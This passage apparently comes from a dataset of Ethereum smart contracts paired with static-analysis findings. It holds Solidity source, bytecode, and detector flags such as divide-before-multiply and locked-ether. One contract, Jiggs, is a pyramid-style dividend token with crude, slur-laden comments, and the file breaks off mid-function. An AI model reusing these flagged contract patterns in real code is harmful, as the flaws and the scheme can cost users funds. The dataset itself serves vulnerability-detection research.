8210156115995760035467016345785d8a00009350935050506115a2565b81819350935050505b9091565b60008083118290611652576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156116175780820151818401526020810190506115fc565b50505050905090810190601f1680156116445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161165e57fe5b049050809150509392505050565b60008083141561167f57600090506116ec565b600082840290508284828161169057fe5b04146116e7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061179c6021913960400191505060405180910390fd5b809150505b92915050565b61170782600354610d6a90919063ffffffff16565b60038190555061172281600454610db490919063ffffffff16565b600481905550505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f9cba807401ff96b21ccd2a44cbd9297bf3eb5d6e094a1cc66dca671db8eb49d64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
48
0xad43ad0a98579f92bdf1727a79ee10063864b15a
pragma solidity ^0.6.0; interface IMVDProxy { function init(address votingTokenAddress, address functionalityProposalManagerAddress, address stateHolderAddress, address functionalityModelsManagerAddress, address functionalitiesManagerAddress, address walletAddress, address doubleProxyAddress) external; function getDelegates() external view returns(address[] memory); function getToken() external view returns(address); function getMVDFunctionalityProposalManagerAddress() external view returns(address); function getStateHolderAddress() external view returns(address); function getMVDFunctionalityModelsManagerAddress() external view returns(address); function getMVDFunctionalitiesManagerAddress() external view returns(address); function getMVDWalletAddress() external view returns(address); function getDoubleProxyAddress() external view returns(address); function setDelegate(uint256 position, address newAddress) external returns(address oldAddress); function changeProxy(address newAddress, bytes calldata initPayload) external; function isValidProposal(address proposal) external view returns (bool); function newProposal(string calldata codeName, bool emergency, address sourceLocation, uint256 sourceLocationId, address location, bool submitable, string calldata methodSignature, string calldata returnParametersJSONArray, bool isInternal, bool needsSender, string calldata replaces) external returns(address proposalAddress); function startProposal(address proposalAddress) external; function disableProposal(address proposalAddress) external; function transfer(address receiver, uint256 value, address token) external; function transfer721(address receiver, uint256 tokenId, bytes calldata data, bool safe, address token) external; function flushToWallet(address tokenAddress, bool is721, uint256 tokenId) external; function setProposal() external; function read(string calldata codeName, bytes calldata data) external view returns(bytes memory returnData); function submit(string calldata codeName, bytes calldata data) external payable returns(bytes memory returnData); function callFromManager(address location, bytes calldata payload) external returns(bool, bytes memory); function emitFromManager(string calldata codeName, address proposal, string calldata replaced, address replacedSourceLocation, uint256 replacedSourceLocationId, address location, bool submitable, string calldata methodSignature, bool isInternal, bool needsSender, address proposalAddress) external; function emitEvent(string calldata eventSignature, bytes calldata firstIndex, bytes calldata secondIndex, bytes calldata data) external; event ProxyChanged(address indexed newAddress); event DelegateChanged(uint256 position, address indexed oldAddress, address indexed newAddress); event Proposal(address proposal); event ProposalCheck(address indexed proposal); event ProposalSet(address indexed proposal, bool success); event FunctionalitySet(string codeName, address indexed proposal, string replaced, address replacedSourceLocation, uint256 replacedSourceLocationId, address indexed replacedLocation, bool replacedWasSubmitable, string replacedMethodSignature, bool replacedWasInternal, bool replacedNeededSender, address indexed replacedProposal); event Event(string indexed key, bytes32 indexed firstIndex, bytes32 indexed secondIndex, bytes data); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IVotingToken { function init(string calldata name, string calldata symbol, uint256 decimals, uint256 totalSupply) external; function getProxy() external view returns (address); function setProxy() external; function name() external view returns(string memory); function symbol() external view returns(string memory); function decimals() external view returns(uint256); function mint(uint256 amount) external; function burn(uint256 amount) external; function increaseAllowance(address spender, uint256 addedValue) external returns (bool); function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool); } interface IMVDFunctionalityProposalManager { function newProposal(string calldata codeName, address location, string calldata methodSignature, string calldata returnAbiParametersArray, string calldata replaces) external returns(address); function checkProposal(address proposalAddress) external; function getProxy() external view returns (address); function setProxy() external; function isValidProposal(address proposal) external view returns (bool); } interface IMVDFunctionalitiesManager { function getProxy() external view returns (address); function setProxy() external; function init(address sourceLocation, uint256 getMinimumBlockNumberSourceLocationId, address getMinimumBlockNumberFunctionalityAddress, uint256 getEmergencyMinimumBlockNumberSourceLocationId, address getEmergencyMinimumBlockNumberFunctionalityAddress, uint256 getEmergencySurveyStakingSourceLocationId, address getEmergencySurveyStakingFunctionalityAddress, uint256 checkVoteResultSourceLocationId, address checkVoteResultFunctionalityAddress) external; function addFunctionality(string calldata codeName, address sourceLocation, uint256 sourceLocationId, address location, bool submitable, string calldata methodSignature, string calldata returnAbiParametersArray, bool isInternal, bool needsSender) external; function addFunctionality(string calldata codeName, address sourceLocation, uint256 sourceLocationId, address location, bool submitable, string calldata methodSignature, string calldata returnAbiParametersArray, bool isInternal, bool needsSender, uint256 position) external; function removeFunctionality(string calldata codeName) external returns(bool removed, uint256 position); function isValidFunctionality(address functionality) external view returns(bool); function isAuthorizedFunctionality(address functionality) external view returns(bool); function setCallingContext(address location) external returns(bool); function clearCallingContext() external; function getFunctionalityData(string calldata codeName) external view returns(address, uint256, string memory, address, uint256); function hasFunctionality(string calldata codeName) external view returns(bool); function getFunctionalitiesAmount() external view returns(uint256); function functionalitiesToJSON() external view returns(string memory); function functionalitiesToJSON(uint256 start, uint256 l) external view returns(string memory functionsJSONArray); function functionalityNames() external view returns(string memory); function functionalityNames(uint256 start, uint256 l) external view returns(string memory functionsJSONArray); function functionalityToJSON(string calldata codeName) external view returns(string memory); function preConditionCheck(string calldata codeName, bytes calldata data, uint8 submitable, address sender, uint256 value) external view returns(address location, bytes memory payload); function setupFunctionality(address proposalAddress) external returns (bool); } contract VotingToken is IERC20, IVotingToken { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private _decimals; address private _proxy; string private _name; string private _symbol; constructor(string memory name, string memory symbol, uint256 decimals, uint256 totalSupply) public { if(totalSupply == 0) { return; } init(name, symbol, decimals, totalSupply); } function init(string memory name, string memory symbol, uint256 decimals, uint256 totalSupply) public override { require(_totalSupply == 0, "Init already called!"); _name = name; _symbol = symbol; _decimals = decimals; _totalSupply = totalSupply * (10 ** decimals); _balances[msg.sender] = _totalSupply; emit Transfer(address(this), msg.sender, _totalSupply); } receive() external payable { revert("ETH not accepted"); } function getProxy() public override view returns(address) { return _proxy; } function name() public override view returns(string memory) { return _name; } function symbol() public override view returns(string memory) { return _symbol; } function decimals() public override view returns(uint256) { return _decimals; } function totalSupply() public override view returns (uint256) { return _totalSupply; } function balanceOf(address account) public override view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public override view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); address txSender = msg.sender; if(_proxy == address(0) || !(IMVDFunctionalityProposalManager(IMVDProxy(_proxy).getMVDFunctionalityProposalManagerAddress()).isValidProposal(txSender) && recipient == txSender)) { _approve(sender, txSender, _allowances[sender][txSender] = sub(_allowances[sender][txSender], amount, "ERC20: transfer amount exceeds allowance")); } return true; } function increaseAllowance(address spender, uint256 addedValue) public override returns (bool) { _approve(msg.sender, spender, add(_allowances[msg.sender][spender], addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public override returns (bool) { _approve(msg.sender, spender, sub(_allowances[msg.sender][spender], subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = sub(_balances[sender], amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = add(_balances[recipient], amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath: addition overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256 c) { require(b <= a, errorMessage); c = a - b; } function setProxy() public override { require(_totalSupply != 0, "Init not called!"); require(_proxy == address(0) || _proxy == msg.sender, _proxy != address(0) ? "Proxy already set!" : "Only Proxy can toggle itself!"); _proxy = _proxy == address(0) ? msg.sender : address(0); } function mint(uint256 amount) public override { require(IMVDFunctionalitiesManager(IMVDProxy(_proxy).getMVDFunctionalitiesManagerAddress()).isAuthorizedFunctionality(msg.sender), "Unauthorized access!"); _totalSupply = add(_totalSupply, amount); _balances[_proxy] = add(_balances[_proxy], amount); emit Transfer(address(0), _proxy, amount); } function burn(uint256 amount) public override { _balances[msg.sender] = sub(_balances[msg.sender], amount, "VotingToken: burn amount exceeds balance"); _totalSupply = sub(_totalSupply, amount, "VotingToken: burn amount exceeds total supply"); emit Transfer(msg.sender, address(0), amount); } }
0x6080604052600436106100f75760003560e01c806370a082311161008a578063a0712d6811610059578063a0712d68146104c9578063a457c2d7146104f3578063a9059cbb1461052c578063dd62ed3e146105655761013c565b806370a082311461031157806387c8046414610344578063933a9ce81461048357806395d89b41146104b45761013c565b8063313ce567116100c6578063313ce567146102825780633914a04f1461029757806339509351146102ae57806342966c68146102e75761013c565b806306fdde0314610141578063095ea7b3146101cb57806318160ddd1461021857806323b872dd1461023f5761013c565b3661013c576040805162461bcd60e51b815260206004820152601060248201526f115512081b9bdd081858d8d95c1d195960821b604482015290519081900360640190fd5b600080fd5b34801561014d57600080fd5b506101566105a0565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610190578181015183820152602001610178565b50505050905090810190601f1680156101bd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d757600080fd5b50610204600480360360408110156101ee57600080fd5b506001600160a01b038135169060200135610636565b604080519115158252519081900360200190f35b34801561022457600080fd5b5061022d61064d565b60408051918252519081900360200190f35b34801561024b57600080fd5b506102046004803603606081101561026257600080fd5b506001600160a01b03813581169160208101359091169060400135610653565b34801561028e57600080fd5b5061022d610825565b3480156102a357600080fd5b506102ac61082b565b005b3480156102ba57600080fd5b50610204600480360360408110156102d157600080fd5b506001600160a01b0381351690602001356109d1565b3480156102f357600080fd5b506102ac6004803603602081101561030a57600080fd5b5035610a0c565b34801561031d57600080fd5b5061022d6004803603602081101561033457600080fd5b50356001600160a01b0316610acc565b34801561035057600080fd5b506102ac6004803603608081101561036757600080fd5b81019060208101813564010000000081111561038257600080fd5b82018360208201111561039457600080fd5b803590602001918460018302840111640100000000831117156103b657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929594936020810193503591505064010000000081111561040957600080fd5b82018360208201111561041b57600080fd5b8035906020019184600183028401116401000000008311171561043d57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505082359350505060200135610ae7565b34801561048f57600080fd5b50610498610baa565b604080516001600160a01b039092168252519081900360200190f35b3480156104c057600080fd5b50610156610bb9565b3480156104d557600080fd5b506102ac600480360360208110156104ec57600080fd5b5035610c1a565b3480156104ff57600080fd5b506102046004803603604081101561051657600080fd5b506001600160a01b038135169060200135610dc2565b34801561053857600080fd5b506102046004803603604081101561054f57600080fd5b506001600160a01b038135169060200135610e11565b34801561057157600080fd5b5061022d6004803603604081101561058857600080fd5b506001600160a01b0381358116916020013516610e1e565b60058054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561062c5780601f106106015761010080835404028352916020019161062c565b820191906000526020600020905b81548152906001019060200180831161060f57829003601f168201915b5050505050905090565b6000610643338484610e49565b5060015b92915050565b60025490565b6000610660848484610f35565b60045433906001600160a01b031615806107785750600480546040805163c5c2fb6b60e01b815290516001600160a01b039092169263c5c2fb6b928282019260209290829003018186803b1580156106b757600080fd5b505afa1580156106cb573d6000803e3d6000fd5b505050506040513d60208110156106e157600080fd5b50516040805163a9771afd60e01b81526001600160a01b0384811660048301529151919092169163a9771afd916024808301926020929190829003018186803b15801561072d57600080fd5b505afa158015610741573d6000803e3d6000fd5b505050506040513d602081101561075757600080fd5b505180156107765750806001600160a01b0316846001600160a01b0316145b155b1561081a5761081a85826107ed600160008a6001600160a01b03166001600160a01b031681526020019081526020016000206000866001600160a01b03166001600160a01b0316815260200190815260200160002054876040518060600160405280602881526020016112836028913961107d565b6001600160a01b03808a166000908152600160209081526040808320938916835292905220819055610e49565b506001949350505050565b60035490565b600254610872576040805162461bcd60e51b815260206004820152601060248201526f496e6974206e6f742063616c6c65642160801b604482015290519081900360640190fd5b6004546001600160a01b0316158061089457506004546001600160a01b031633145b6004546001600160a01b03166108df576040518060400160405280601d81526020017f4f6e6c792050726f78792063616e20746f67676c6520697473656c662100000081525061090b565b6040518060400160405280601281526020017150726f787920616c7265616479207365742160701b8152505b906109945760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610959578181015183820152602001610941565b50505050905090810190601f1680156109865780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506004546001600160a01b0316156109ad5760006109af565b335b600480546001600160a01b0319166001600160a01b0392909216919091179055565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610643918590610a0790866110d7565b610e49565b610a53600080336001600160a01b03166001600160a01b0316815260200190815260200160002054826040518060600160405280602881526020016112136028913961107d565b600080336001600160a01b03166001600160a01b0316815260200190815260200160002081905550610aa0600254826040518060600160405280602d81526020016111e6602d913961107d565b60025560408051828152905160009133916000805160206112ab8339815191529181900360200190a350565b6001600160a01b031660009081526020819052604090205490565b60025415610b33576040805162461bcd60e51b8152602060048201526014602482015273496e697420616c72656164792063616c6c65642160601b604482015290519081900360640190fd5b8351610b4690600590602087019061112f565b508251610b5a90600690602086019061112f565b506003829055600a82900a81026002819055336000818152602081815260409182902084905581519384529051919230926000805160206112ab833981519152929181900390910190a350505050565b6004546001600160a01b031690565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561062c5780601f106106015761010080835404028352916020019161062c565b6004805460408051633380ac3560e11b815290516001600160a01b0390921692636701586a928282019260209290829003018186803b158015610c5c57600080fd5b505afa158015610c70573d6000803e3d6000fd5b505050506040513d6020811015610c8657600080fd5b5051604080516318c8e99960e11b815233600482015290516001600160a01b0390921691633191d33291602480820192602092909190829003018186803b158015610cd057600080fd5b505afa158015610ce4573d6000803e3d6000fd5b505050506040513d6020811015610cfa57600080fd5b5051610d44576040805162461bcd60e51b8152602060048201526014602482015273556e617574686f72697a6564206163636573732160601b604482015290519081900360640190fd5b610d50600254826110d7565b6002556004546001600160a01b0316600090815260208190526040902054610d7890826110d7565b600480546001600160a01b039081166000908152602081815260408083209590955592548451868152945192169390926000805160206112ab83398151915292918290030190a350565b3360008181526001602090815260408083206001600160a01b0387168452825280832054815160608101909252602580835293946106439490938893610a07939289926113149083013961107d565b6000610643338484610f35565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6001600160a01b038316610e8e5760405162461bcd60e51b81526004018080602001828103825260248152602001806112f06024913960400191505060405180910390fd5b6001600160a01b038216610ed35760405162461bcd60e51b815260040180806020018281038252602281526020018061123b6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610f7a5760405162461bcd60e51b81526004018080602001828103825260258152602001806112cb6025913960400191505060405180910390fd5b6001600160a01b038216610fbf5760405162461bcd60e51b81526004018080602001828103825260238152602001806111c36023913960400191505060405180910390fd5b611006600080856001600160a01b03166001600160a01b03168152602001908152602001600020548260405180606001604052806026815260200161125d6026913961107d565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461103590826110d7565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716926000805160206112ab83398151915292918290030190a3505050565b600081848411156110cf5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610959578181015183820152602001610941565b505050900390565b81810182811015610647576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061117057805160ff191683800117855561119d565b8280016001018555821561119d579182015b8281111561119d578251825591602001919060010190611182565b506111a99291506111ad565b5090565b5b808211156111a957600081556001016111ae56fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373566f74696e67546f6b656e3a206275726e20616d6f756e74206578636565647320746f74616c20737570706c79566f74696e67546f6b656e3a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212207e8c4a6bfad90fdf9e37ddace6ea3361d616502632ffa02e8e3b67934d1bd69364736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
49
0x8b29b70b2cd8fdd891c1d0cd5808fb92781ba90b
pragma solidity ^0.4.20; /* / J.I.G.G.S / SAW3D / / https://www.jiggs.io / / This is the ONLY OFFICIAL WEBSITE of the The Jigsaw Games! / If you want to play, be sure to play through this website! */ contract Jiggs { /*================================= = MODIFIERS = =================================*/ // only people with tokens modifier onlyBagholders() { require(myTokens() > 0); _; } // only people with profits modifier onlyStronghands() { require(myDividends(true) > 0); _; } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "The Jigsaw Games"; string public symbol = "Jiggs3D"; uint8 constant public decimals = 18; uint8 constant internal entryFee_ = 25; uint8 constant internal refferalFee_ = 50; uint8 constant internal exitFee_ = 25; uint256 constant internal tokenPriceInitial_ = 0.000000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.0000000007 ether; uint256 constant internal magnitude = 2**64; // proof of stake (defaults at 100 tokens) uint256 public stakingRequirement = 50e18; // referral program mapping(address => uint256) internal referrals; mapping(address => bool) internal isUser; address[] public usersAddresses; /*================================ = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; mapping(address => uint256) internal ambassadorAccumulatedQuota_; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /** * Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) */ function buy(address _referredBy) public payable returns(uint256) { purchaseTokens(msg.value, _referredBy); } /** * Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() payable public { purchaseTokens(msg.value, 0x0); } /* Converts all of caller's dividends to tokens. */ function reinvest() onlyStronghands() public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0); // fire event onReinvestment(_customerAddress, _dividends, _tokens); } /* Alias of sell() and withdraw(). */ function exit() public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); // lambo delivery service withdraw(); } /* Withdraws all of the callers earnings. */ function withdraw() onlyStronghands() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); // fire event onWithdraw(_customerAddress, _dividends); } /* Liquifies tokens to ethereum. */ function sell(uint256 _amountOfTokens) onlyBagholders() public { // setup data address _customerAddress = msg.sender; // russian hackers BTFO require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } // fire event onTokenSell(_customerAddress, _tokens, _taxedEthereum); } /* Transfer tokens from the caller to a new holder. * No fee! */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) { // setup address _customerAddress = msg.sender; // withdraw all outstanding dividends first if(myDividends(true) > 0) withdraw(); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens); // fire event Transfer(_customerAddress, _toAddress, _amountOfTokens); // ERC20 return true; } /*---------- HELPERS AND CALCULATORS ----------*/ /** * Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns(uint) { return this.balance; } /** * Retrieve the total token supply. */ function totalSupply() public view returns(uint256) { return tokenSupply_; } /** * Retrieve the tokens owned by the caller. */ function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } function referralsOf(address _customerAddress) public view returns(uint256) { return referrals[_customerAddress]; } function totalUsers() public view returns(uint256) { return usersAddresses.length; } /** * Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } /** * Retrieve the token balance of any single address. */ function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } /** * Retrieve the dividend balance of any single address. */ function dividendsOf(address _customerAddress) view public returns(uint256) { return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /** * Return the buy price of 1 individual token. */ function sellPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } /** * Function for the frontend to dynamically retrieve the price scaling of buy orders. */ function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /** * Function for the frontend to dynamically retrieve the price scaling of sell orders. */ function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns(uint256) { // data setup address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100); uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; // no point in continuing execution if OP is a poorfag russian hacker // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world // (or hackers) // and yes we know that the safemath function automatically rules out the "greater then" equasion. require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); // is the user referred by a masternode? if( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != _customerAddress && // does the referrer have at least X whole tokens? // i.e is the referrer a Kekly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement ){ // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); if (isUser[_customerAddress] == false) { referrals[_referredBy]++; } } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } if (isUser[_customerAddress] == false ) { isUser[_customerAddress] = true; usersAddresses.push(_customerAddress); } // we can't give people infinite ethereum if(tokenSupply_ > 0){ // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / (tokenSupply_)); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // update circulating supply & the ledger address for the customer tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); // Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them; //really i know you think you do but you don't int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; // fire event onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy); return _amountOfTokens; } /** * Calculate Token price based on an amount of incoming ethereum * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncremental_)**2)*(tokenSupply_**2)) + (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) )/(tokenPriceIncremental_) )-(tokenSupply_) ; return _tokensReceived; } /** * Calculate token sell value. * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = 